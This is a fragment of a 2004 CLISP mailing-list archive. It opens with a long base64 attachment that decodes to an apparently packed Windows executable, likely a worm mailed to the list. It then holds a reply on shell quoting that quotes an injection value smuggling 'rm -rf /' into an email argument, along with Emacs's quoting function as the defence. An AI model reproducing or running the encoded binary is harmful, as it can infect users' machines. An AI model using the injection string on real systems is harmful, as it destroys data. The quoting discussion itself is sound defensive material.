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 AAAAAAAAAAAAAAAAAA== ------=_NextPart_000_0011_88690521.2A5E07B3-- From pascal@informatimago.com Tue Feb 10 13:38:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AqfZx-0002GV-V5 for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 13:38:01 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AqfZ9-0001yT-Gu for clisp-list@lists.sourceforge.net; Tue, 10 Feb 2004 13:37:12 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2FA77586E2; Tue, 10 Feb 2004 22:37:43 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 60FFE3ABBD; Tue, 10 Feb 2004 22:38:55 +0100 (CET) Message-ID: <16425.20335.313432.526312@thalassa.informatimago.com> To: "Thomas F. Burdick" Cc: Alexander Schreiber , Don Cohen , dgou@mac.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] networking In-Reply-To: <16425.11826.214364.582504@famine.OCF.Berkeley.EDU> References: <200402091734.i19HYT926635@isis.cs3-inc.com> <16424.7447.39658.980940@isis.cs3-inc.com> <20040210061549.GA15314@mordor.angband.thangorodrim.de> <16424.32412.222684.937127@isis.cs3-inc.com> <20040210163655.GA20358@mordor.angband.thangorodrim.de> <16425.11826.214364.582504@famine.OCF.Berkeley.EDU> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 10 13:39:00 2004 X-Original-Date: Tue, 10 Feb 2004 22:38:55 +0100 Thomas F. Burdick writes: > Alexander Schreiber writes: > > On Mon, Feb 09, 2004 at 10:47:56PM -0800, Don Cohen wrote: > > > > > Hmm, if it's not, I wonder how it can be used ... > > > > (email "foo@bar.com; rm -rf /" "Mhuahahahah") > > While this will not wipe the entire filesystem unless running as root, > > it will still take care of everything the user it is running under has > > appropriate access to. > > This is one of those features that is just screaming to be refactored. > Rather than try to figure out if your command-line is safe in every > function, go through the pain of implementing shell quoting once, and > be safe from then on: > > (defun shell-command (command &rest args) > "Return a properly quoted string for the command" > ...) > > Come to think of it, this would be a really good thing to add to CLISP > itself, since it could vary from system to system, to do the correct > native quoting. shell-quote-argument It depends on the shell used. For shell the documentation says: (EXT:SHELL [command]) calls the operating system's shell. What is the operating system's shell? Is it /bin/sh or is it what's in the environment variable SHELL? (And I don't even ask what happens on non-posix systems). The documentation should be improved here. For run-shell-command and run-programm, it's clear: it's what's in SHELL. It does not say what happens when there's no SHELL or when it's empty. A shell quoting function cannot take into account that. Imagine I have: (setf (getenv "SHELL") "/usr/bin/clisp") or: (setf (getenv "SHELL") "/usr/bin/perl") or: (setf (getenv "SHELL") "/usr/bin/dwim-shell") How do you quote for these and others shells? Here's what emacs does. It's not a primitive: (defun shell-quote-argument (argument) "Quote an argument for passing as argument to an inferior shell." (if (eq system-type 'ms-dos) ;; Quote using double quotes, but escape any existing quotes in ;; the argument with backslashes. (let ((result "") (start 0) end) (if (or (null (string-match "[^\"]" argument)) (< (match-end 0) (length argument))) (while (string-match "[\"]" argument start) (setq end (match-beginning 0) result (concat result (substring argument start end) "\\" (substring argument end (1+ end))) start (1+ end)))) (concat "\"" result (substring argument start) "\"")) (if (eq system-type 'windows-nt) (concat "\"" argument "\"") (if (equal argument "") "''" ;; Quote everything except POSIX filename characters. ;; This should be safe enough even for really weird shells. (let ((result "") (start 0) end) (while (string-match "[^-0-9a-zA-Z_./]" argument start) (setq end (match-beginning 0) result (concat result (substring argument start end) "\\" (substring argument end (1+ end))) start (1+ end))) (concat result (substring argument start))))))) -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From leon00710@yahoo.com.cn Wed Feb 11 08:10:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Aqwwo-00016l-VK for clisp-list@lists.sourceforge.net; Wed, 11 Feb 2004 08:10:46 -0800 Received: from [218.18.71.111] (helo=yahoo.com.cn) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Aqww8-0002mX-D3 for clisp-list@lists.sourceforge.net; Wed, 11 Feb 2004 08:10:08 -0800 From: "leon" To: clisp-list@lists.sourceforge.net 